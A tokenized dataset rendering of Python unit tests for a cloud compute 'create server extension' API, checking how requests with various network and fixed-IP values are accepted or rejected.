"\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "network", "s", "'_", "in_", "server_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "networks_", "=_", "server_", "[_", "'", "network", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "body", "\\u", "parts_", "._", "append_", "(_", "'<", "network", "s", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "network_", "in_", "networks_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "item_", "=_", "(_", "network_", "[_", "'", "uuid", "'_", "]_", ",_", "network_", "[_", "'", "fixed", "\\u", "ip", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "body", "\\u", "parts_", "._", "append_", "(_", "'<", "network", " ", "uuid", "=\"", "%", "s", "\"", " ", "fixed", "\\u", "ip", "=\"", "%", "s", "\">", "</", "network", ">'_", "\\u\\u\\uNL\\u\\u\\u_", "%_", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "body", "\\u", "parts_", "._", "append_", "(_", "'<", "/", "network", "s", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "body", "\\u", "parts_", "._", "append_", "(_", "'<", "/", "server", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "''_", "._", "join_", "(_", "body", "\\u", "parts_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "get", "\\u", "create", "\\u", "request", "\\u", "xml_", "(_", "self_", ",_", "body", "\\u", "dict_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "req_", "=_", "webob_", "._", "Request_", "._", "blank_", "(_", "'/", "v1", ".1", "/", "123", "/", "os", "-", "create", "-", "server", "-", "ext", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "req_", "._", "content", "\\u", "type_", "=_", "'", "applica", "tion", "/", "xml", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "req_", "._", "accept_", "=_", "'", "applica", "tion", "/", "xml", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "req_", "._", "method_", "=_", "'", "POST", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "req_", "._", "body_", "=_", "self_", "._", "\\u", "format\\u", "xml", "\\u", "request", "\\u", "body_", "(_", "body", "\\u", "dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "req_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "network", "s", "\\u", "json_", "(_", "self_", ",_", "networks_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "body", "\\u", "dict_", "=_", "self_", "._", "\\u", "create", "\\u", "network", "s", "\\u", "request", "\\u", "dict_", "(_", "networks_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "self_", "._", "\\u", "get", "\\u", "create", "\\u", "request", "\\u", "json_", "(_", "body", "\\u", "dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "compute", "\\u", "api_", ",_", "response_", "=_", "self_", "._", "\\u", "run", "\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "mock", "\\u", "compute", "\\u", "api_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "request_", ",_", "response_", ",_", "compute", "\\u", "api_", "._", "networks_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "user", "\\u", "data\\u", "json_", "(_", "self_", ",_", "networks_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "body", "\\u", "dict_", "=_", "self_", "._", "\\u", "create", "\\u", "user", "\\u", "data\\u", "request", "\\u", "dict_", "(_", "networks_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "self_", "._", "\\u", "get", "\\u", "create", "\\u", "request", "\\u", "json_", "(_", "body", "\\u", "dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "compute", "\\u", "api_", ",_", "response_", "=_", "self_", "._", "\\u", "run", "\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "mock", "\\u", "compute", "\\u", "api_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "request_", ",_", "response_", ",_", "compute", "\\u", "api_", "._", "user", "\\u", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "network", "s", "\\u", "xml_", "(_", "self_", ",_", "networks_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "body", "\\u", "dict_", "=_", "self_", "._", "\\u", "create", "\\u", "network", "s", "\\u", "request", "\\u", "dict_", "(_", "networks_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "self_", "._", "\\u", "get", "\\u", "create", "\\u", "request", "\\u", "xml_", "(_", "body", "\\u", "dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "compute", "\\u", "api_", ",_", "response_", "=_", "self_", "._", "\\u", "run", "\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "mock", "\\u", "compute", "\\u", "api_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "request_", ",_", "response_", ",_", "compute", "\\u", "api_", "._", "networks_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "no", "\\u", "networks_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "request_", ",_", "response_", ",_", "networks_", "=_", "self_", "._", "\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "network", "s", "\\u", "json_", "(_", "networks_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "response_", "._", "status", "\\u", "int_", ",_", "202_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "networks_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "no", "\\u", "network", "s", "\\u", "xml_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "request_", ",_", "response_", ",_", "networks_", "=_", "self_", "._", "\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "network", "s", "\\u", "xml_", "(_", "networks_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "response_", "._", "status", "\\u", "int_", ",_", "202_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "networks_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "one", "\\u", "network_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "request_", ",_", "response_", ",_", "networks_", "=_", "self_", "._", "\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "network", "s", "\\u", "json_", "(_", "[_", "FAKE", "\\u", "NET", "WORKS", "_", "[_", "0_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "response_", "._", "status", "\\u", "int_", ",_", "202_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "networks_", ",_", "[_", "FAKE", "\\u", "NET", "WORKS", "_", "[_", "0_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "one", "\\u", "network", "\\u", "xml_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "request_", ",_", "response_", ",_", "networks_", "=_", "self_", "._", "\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "network", "s", "\\u", "xml_", "(_", "[_", "FAKE", "\\u", "NET", "WORKS", "_", "[_", "0_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "response_", "._", "status", "\\u", "int_", ",_", "202_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "networks_", ",_", "[_", "FAKE", "\\u", "NET", "WORKS", "_", "[_", "0_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "two", "\\u", "networks_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "request_", ",_", "response_", ",_", "networks_", "=_", "self_", "._", "\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "network", "s", "\\u", "json_", "(_", "FAKE", "\\u", "NET", "WORKS", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "response_", "._", "status", "\\u", "int_", ",_", "202_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "networks_", ",_", "FAKE", "\\u", "NET", "WORKS", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "two", "\\u", "network", "s", "\\u", "xml_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "request_", ",_", "response_", ",_", "networks_", "=_", "self_", "._", "\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "network", "s", "\\u", "xml_", "(_", "FAKE", "\\u", "NET", "WORKS", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "response_", "._", "status", "\\u", "int_", ",_", "202_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "networks_", ",_", "FAKE", "\\u", "NET", "WORKS", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "duplicat", "e\\u", "networks_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "request_", ",_", "response_", ",_", "networks_", "=_", "self_", "._", "\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "network", "s", "\\u", "json_", "(_", "DUPL", "ICAT", "E", "\\u", "NET", "WORKS", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "response_", "._", "status", "\\u", "int_", ",_", "400_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "networks_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "duplicat", "e\\u", "network", "s", "\\u", "xml_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "request_", ",_", "response_", ",_", "networks_", "=_", "self_", "._", "\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "network", "s", "\\u", "xml_", "(_", "DUPL", "ICAT", "E", "\\u", "NET", "WORKS", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "response_", "._", "status", "\\u", "int_", ",_", "400_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "networks_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "network", "\\u", "no", "\\u", "id_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "body", "\\u", "dict_", "=_", "self_", "._", "\\u", "create", "\\u", "network", "s", "\\u", "request", "\\u", "dict_", "(_", "[_", "FAKE", "\\u", "NET", "WORKS", "_", "[_", "0_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "body", "\\u", "dict_", "[_", "'", "server", "'_", "]_", "[_", "'", "network", "s", "'_", "]_", "[_", "0_", "]_", "[_", "'", "uuid", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "self_", "._", "\\u", "get", "\\u", "create", "\\u", "request", "\\u", "json_", "(_", "body", "\\u", "dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "compute", "\\u", "api_", ",_", "response_", "=_", "self_", "._", "\\u", "run", "\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "mock", "\\u", "compute", "\\u", "api_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "response_", "._", "status", "\\u", "int_", ",_", "400_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "compute", "\\u", "api_", "._", "networks_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "network", "\\u", "no", "\\u", "id", "\\u", "xml_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "body", "\\u", "dict_", "=_", "self_", "._", "\\u", "create", "\\u", "network", "s", "\\u", "request", "\\u", "dict_", "(_", "[_", "FAKE", "\\u", "NET", "WORKS", "_", "[_", "0_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "self_", "._", "\\u", "get", "\\u", "create", "\\u", "request", "\\u", "xml_", "(_", "body", "\\u", "dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "uuid_", "=_", "'", " ", "uuid", "=\"", "aaaaaaaa", "-", "aaa", "a", "-", "aaa", "a", "-", "aaa", "a", "-", "aaaaaaaa", "aaa", "a", "\"'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "._", "body_", "=_", "request_", "._", "body_", "._", "replace_", "(_", "uuid_", ",_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "compute", "\\u", "api_", ",_", "response_", "=_", "self_", "._", "\\u", "run", "\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "mock", "\\u", "compute", "\\u", "api_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "response_", "._", "status", "\\u", "int_", ",_", "400_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "compute", "\\u", "api_", "._", "networks_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "network", "\\u", "invalid", "\\u", "id_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "request_", ",_", "response_", ",_", "networks_", "=_", "self_", "._", "\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "network", "s", "\\u", "json_", "(_", "INVALID", "\\u", "NET", "WORKS", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "response_", "._", "status", "\\u", "int_", ",_", "400_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "networks_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "network", "\\u", "invalid", "\\u", "id", "\\u", "xml_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "request_", ",_", "response_", ",_", "networks_", "=_", "self_", "._", "\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "network", "s", "\\u", "xml_", "(_", "INVALID", "\\u", "NET", "WORKS", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "response_", "._", "status", "\\u", "int_", ",_", "400_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "networks_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "network", "\\u", "empty", "\\u", "fixed", "\\u", "ip_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "networks_", "=_", "[_", "(_", "'", "1", "'_", ",_", "''_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", ",_", "response_", ",_", "networks_", "=_", "self_", "._", "\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "network", "s", "\\u", "json_", "(_", "networks_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "response_", "._", "status", "\\u", "int_", ",_", "400_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "networks_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "network", "\\u", "non", "\\u", "string", "\\u", "fixed", "\\u", "ip_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "networks_", "=_", "[_", "(_", "'", "1", "'_", ",_", "12345_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", ",_", "response_", ",_", "networks_", "=_", "self_", "._", "\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "network", "s", "\\u", "json_", "(_", "networks_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "response_", "._", "status", "\\u", "int_", ",_", "400_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "networks_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "network", "\\u", "empty", "\\u", "fixed", "\\u", "ip", "\\u", "xml_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "networks_", "=_", "[_", "(_", "'", "1", "'_", ",_", "''_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", ",_", "response_", ",_", "networks_", "=_", "self_", "._", "\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "network", "s", "\\u", "xml_", "(_", "networks_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "response_", "._", "status", "\\u", "int_", ",_", "400_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "networks_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "network", "\\u", "no", "\\u", "fixed", "\\u", "ip_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "body", "\\u", "dict_", "=_", "self_", "._", "\\u", "create", "\\u", "network", "s", "\\u", "request", "\\u", "dict_", "(_", "[_", "FAKE", "\\u", "NET", "WORKS", "_", "[_", "0_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "body", "\\u", "dict_", "[_", "'", "server", "'_", "]_", "[_", "'", "network", "s", "'_", "]_", "[_", "0_", "]_", "[_", "'", "fixed", "\\u", "ip", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "self_", "._", "\\u", "get", "\\u", "create", "\\u", "request", "\\u", "json_", "(_", "body", "\\u", "dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "compute", "\\u", "api_", ",_", "response_", "=_", "self_", "._", "\\u", "run", "\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "mock", "\\u", "compute", "\\u", "api_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "response_", "._", "status", "\\u", "int_", ",_", "202_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "compute", "\\u", "api_", "._", "networks_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "(_", "'", "aaaaaaaa", "-", "aaa", "a", "-", "aaa", "a", "-", "aaa", "a", "-", "aaaaaaaa", "aaa", "a", "'_", ",_", "None_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "network", "\\u", "no", "\\u", "fixed", "\\u", "ip", "\\u", "xml_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "body", "\\u", "dict_", "=_", "self_", "._", "\\u", "create", "\\u", "network", "s", "\\u", "request", "\\u", "dict_", "(_", "[_", "FAKE", "\\u", "NET", "WORKS", "_", "[_", "0_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "self_", "._", "\\u", "get", "\\u", "create", "\\u", "request", "\\u", "xml_", "(_", "body", "\\u", "dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "._", "body_", "=_", "request_", "._", "body_", "._", "replace_", "(_", "'", " ", "fixed", "\\u", "ip", "=\"", "10.", "0.", "1.1", "2", "\"'_", ",_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "compute", "\\u", "api_", ",_", "response_", "=_", "self_", "._", "\\u", "run", "\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "mock", "\\u", "compute", "\\u", "api_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "response_", "._", "status", "\\u", "int_", ",_", "202_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "compute", "\\u", "api_", "._", "networks_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "(_", "'", "aaaaaaaa", "-", "aaa", "a", "-", "aaa", "a", "-", "aaa", "a", "-", "aaaaaaaa", "aaa", "a", "'_", ",_", "None_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", 